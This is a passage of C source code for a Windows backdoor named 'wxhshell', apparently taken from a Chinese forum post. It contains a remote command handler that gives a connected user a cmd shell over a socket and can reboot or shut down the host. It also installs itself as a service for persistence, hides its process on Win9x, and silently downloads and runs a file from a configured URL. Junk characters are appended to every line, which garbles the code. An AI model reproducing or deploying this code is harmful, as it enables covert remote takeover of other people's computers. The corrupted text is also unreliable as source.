  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a%(1#2^`q!  
  if(DownloadFile(cmd,wsh)) l*'jqR')h^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `?=AgGg  
  else LUo3y'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "5dh]-m n  
  } lrq !}\aX  
  else { 2[M:WZ.1  
*GRhZ~U  
    switch(cmd[0]) { Ju+@ROZ  
  yg\A&0I  
  // 帮助 O%c6vp7  
  case '?': { ~01r c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~ xf9 ml  
    break; u0XGtu$4  
  } <,rjU*"  
  // 安装 {b/AOR o  
  case 'i': { Z"!C  
    if(Install()) 6Mk@,\1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `$@1NL7>  
    else /~ V"v"7E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #C>pA<YJzK  
    break; 1uXtBk6  
    } TF=S \ Q  
  // 卸载 2N)Ywqvj  
  case 'r': { 'Fc&"(!||  
    if(Uninstall()) X% _~9'#%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8<.KWr  
    else #v(+3Hp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _|tg#i|Om  
    break; ' {:(4>&  
    } ZibHT:n  
  // 显示 wxhshell 所在路径 f4g(hjETbu  
  case 'p': { 4,<~t>M1  
    char svExeFile[MAX_PATH]; ^@[[,1"K  
    strcpy(svExeFile,"\n\r"); 2EK\QWo  
      strcat(svExeFile,ExeFile); ^x/0*t5};z  
        send(wsh,svExeFile,strlen(svExeFile),0); ]"CA P%  
    break; }JlQQ  
    } z>y,}#D?C  
  // 重启 Vx0V6{JX  
  case 'b': { n:<avl@o<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {v`wQM[  
    if(Boot(REBOOT)) {5%<@<? )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `b7o  
    else { 8o{ SU6pH  
    closesocket(wsh); orHVL2 KK  
    ExitThread(0); dOiy[4s  
    } gWWy!H  
    break; z6{0\#'K  
    } v"$; aJ  
  // 关机 &kO4^ A  
  case 'd': { Xq)'p8C?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >nr1|2  
    if(Boot(SHUTDOWN)) {g )kT_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vq<|DM3z<  
    else { 0q`'65 lx  
    closesocket(wsh); 2RE }l=h5  
    ExitThread(0); le[5a=e(  
    } t}oxHEa V  
    break; eq4<   
    } e|4jT7L}  
  // 获取shell hF2 G{{8A  
  case 's': { =lDmP |^  
    CmdShell(wsh); TR%?U/_4;r  
    closesocket(wsh); YK[O#V  
    ExitThread(0); ?2=c'%w7  
    break; OdR  
  } ;\&7smE[  
  // 退出 ^ul`b  
  case 'x': { 5SKu\ H\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S3oU7*OZ  
    CloseIt(wsh); dG)A-qbV  
    break; 9td(MZ%i~N  
    } KM\`,1?x92  
  // 离开 f%|g7[  
  case 'q': { GuS3O)6Sg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .OWIlT4K  
    closesocket(wsh); Jhut>8  
    WSACleanup(); XM=`(e o  
    exit(1); nwkhGQ  
    break; P4N{lQ.>  
        } !.w S+  
  } 6U""TR!   
  } qBwqxxTc  
\+>b W(  
  // 提示信息 T[;{AXLeI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $==hr^H  
} hi ]+D= S  
  } MBwp{ET!p  
};KmMpBn  
  return; S%T1na^x  
} 4a646jg)  
(h%wO  
// shell模块句柄 i$NnHj|  
int CmdShell(SOCKET sock) O42An$}  
{ Q,DumOq  
STARTUPINFO si; {Rz`)qqE  
ZeroMemory(&si,sizeof(si)); Lh,<q >t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jq; }q63:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Em?skUnG,  
PROCESS_INFORMATION ProcessInfo; /JfXK$`  
char cmdline[]="cmd"; HR V/ A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >:Oo[{)  
  return 0; I7Eg$J&  
} M1g|m|H7  
>l7 o/*4  
// 自身启动模式 M,{F/Yu  
int StartFromService(void) :g\qj? o  
{ d6n6= [*  
typedef struct lA ,%'+-  
{ 4t+88e  
  DWORD ExitStatus; LS_QoS  
  DWORD PebBaseAddress; |zUDu\MZ{  
  DWORD AffinityMask; xFvSQ`sp  
  DWORD BasePriority; "?il07+w%  
  ULONG UniqueProcessId; EfUo<E  
  ULONG InheritedFromUniqueProcessId; Aqc(  
}   PROCESS_BASIC_INFORMATION; 6D+k[oHZm  
# K-Q/*  
PROCNTQSIP NtQueryInformationProcess; r94BEC 2  
cN :;ir  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !eO?75/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  m$cM+  
}@#e D  
  HANDLE             hProcess; IQ~()/;3d  
  PROCESS_BASIC_INFORMATION pbi; >/n/n{{  
w5|"cD#8A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vTP_vsdeG  
  if(NULL == hInst ) return 0; )a6i8b3  
gGX/p6"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bEE:6)]G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eQeNlCG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kjmF-\  
q'@UZ$2  
  if (!NtQueryInformationProcess) return 0; -WYJ1B0v  
V{*9fB#4L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _1hqD EM  
  if(!hProcess) return 0; +Rvj]vd}&  
XNl!(2x'pb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W"0#  
2V0R|YUt  
  CloseHandle(hProcess); f[v??^  
fXqe7[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 61KJ( rSX3  
if(hProcess==NULL) return 0; }1>a71  
yQW\0&a$  
HMODULE hMod; `=>Bop)  
char procName[255]; S%4hv*_c  
unsigned long cbNeeded; n/6A@C  
[|>.iH X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); msCAC*;,  
W=b5{ 6  
  CloseHandle(hProcess);  {jl4`  
^aC[Z P:  
if(strstr(procName,"services")) return 1; // 以服务启动 ?+!KucTF  
W)"q9(T?%  
  return 0; // 注册表启动 C&SYmYj^c  
} _]4cY%s  
WV6vM()#!C  
// 主模块 0<)8 ?ow  
int StartWxhshell(LPSTR lpCmdLine) +X&B'  
{ Ry(!< w,  
  SOCKET wsl; qd.b&i  
BOOL val=TRUE; B}jZ~/D}  
  int port=0;  O{4m-;  
  struct sockaddr_in door; QO,y/@Ph  
[sad}@R7  
  if(wscfg.ws_autoins) Install(); PFc02 w  
q@\D5F% >  
port=atoi(lpCmdLine); jv7zvp  
x O)nS _I  
if(port<=0) port=wscfg.ws_port; 7}#vANm  
78Gvc~j  
  WSADATA data; %iGME%oXr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e 9:l  
`b2 I)xC#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ALG #)$|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }cP 3i  
  door.sin_family = AF_INET; +j<Nu)0iY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7OZ s~6(  
  door.sin_port = htons(port); =:2V4H(F  
3)xV-Y9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -{w&ya4X  
closesocket(wsl); k-89(  
return 1; Uarb [4OZ  
} Soa.thP  
Wm A:"!~M  
  if(listen(wsl,2) == INVALID_SOCKET) { KW 09qar  
closesocket(wsl); 5GY%ZRHh  
return 1; hZFbiGQr\  
} !pN,,H6Y  
  Wxhshell(wsl); $ey<8qzp  
  WSACleanup(); h8h4)>:  
Sb`>IlT\#  
return 0; "<&F=gV  
NBeGmC|  
} Qj=l OhM  
R_*\?^k|A  
// 以NT服务方式启动 "L ,FUo^&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _ 9k^Hd[L$  
{ W$3p,VTMmB  
DWORD   status = 0; ?T^$,1 -  
  DWORD   specificError = 0xfffffff; 1"'//0 7  
$v^F>*I1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D( _a Xy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gzs x0%`)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '`RCN k5l  
  serviceStatus.dwWin32ExitCode     = 0; e88JT_zrO  
  serviceStatus.dwServiceSpecificExitCode = 0; /M#A[tZ3  
  serviceStatus.dwCheckPoint       = 0; %0]&o, w{  
  serviceStatus.dwWaitHint       = 0; [$V_qFv{  
I8[G!u71)_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6zDJdE'Es  
  if (hServiceStatusHandle==0) return; C*KRu`t  
_Y0o\0B  
status = GetLastError(); >Z3}WMgBN  
  if (status!=NO_ERROR) 1|gEY;Ru  
{ &&m%=i.qK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,wq.C6;&  
    serviceStatus.dwCheckPoint       = 0; `@ `CZg  
    serviceStatus.dwWaitHint       = 0; % va/x]K  
    serviceStatus.dwWin32ExitCode     = status; +EpT)FJX  
    serviceStatus.dwServiceSpecificExitCode = specificError; J#D!J8KP7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U{;i864:}  
    return; 8IX6MfR}C  
  } YZoudX'"  
KavRW.w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3QF!fll^  
  serviceStatus.dwCheckPoint       = 0; q/Gy&8 K  
  serviceStatus.dwWaitHint       = 0; [<%yUy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;hg]5r_  
} jf})"fz-*  
CSD8?k]2  
// 处理NT服务事件,比如:启动、停止 "ex? #qD&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GoFC!nx  
{ "'PDreS  
switch(fdwControl) xLGAP-mx]  
{ P#yS]F/  
case SERVICE_CONTROL_STOP: G U!XD!!&  
  serviceStatus.dwWin32ExitCode = 0; eAl&[_o|S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #fFEo)YG  
  serviceStatus.dwCheckPoint   = 0; 6IvLr+I  
  serviceStatus.dwWaitHint     = 0; ^+P]_< 43  
  { ]vlQNd?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2V  
  } {g);HnmPN  
  return; J%}}( G~  
case SERVICE_CONTROL_PAUSE: {o]OxqE@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bFTWuM  
  break; YZoH{p9f  
case SERVICE_CONTROL_CONTINUE: FV^kOz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  e%qMrR  
  break; doe[f_\  
case SERVICE_CONTROL_INTERROGATE: ufm#H#n)#X  
  break; ;%%=G;b9  
}; 8RocObY_W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !|`YNsR  
} =GLsoc-b  
`yVJ `} hm  
// 标准应用程序主函数 |d Soq~Vz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >#V8l@IH  
{ LN7;Yr  
rL%xl,cn<  
// 获取操作系统版本 lI D5mg3 1  
OsIsNt=GetOsVer(); PanyN3rC*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CUYp(GU  
zZDr=6|r_  
  // 从命令行安装 ."H5.'  
  if(strpbrk(lpCmdLine,"iI")) Install(); hZ%Ie%~n  
Gud!(5'  
  // 下载执行文件 f[%iRfUFw  
if(wscfg.ws_downexe) { Ya>cGaLq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 21;n0E  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ D45X<  
} ;id  
a @TAUJ,  
if(!OsIsNt) { &QE* V  
// 如果时win9x,隐藏进程并且设置为注册表启动 BgE]xm  
HideProc(); b?Vu9!  
StartWxhshell(lpCmdLine); Y@pa+~[{h3  
} 7#<|``]zNf  
else $x 2t0@  
  if(StartFromService()) EKDv3aFQZ#  
  // 以服务方式启动 6b)1B\p  
  StartServiceCtrlDispatcher(DispatchTable); jsL'O;K/  
else 5[;^Em)C  
  // 普通方式启动 W`;E-28Dg  
  StartWxhshell(lpCmdLine); !>! l=Z  
Y[pGaiN:  
return 0; #ocT4  
}
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只看该作者 1 发表于: 2006-10-10
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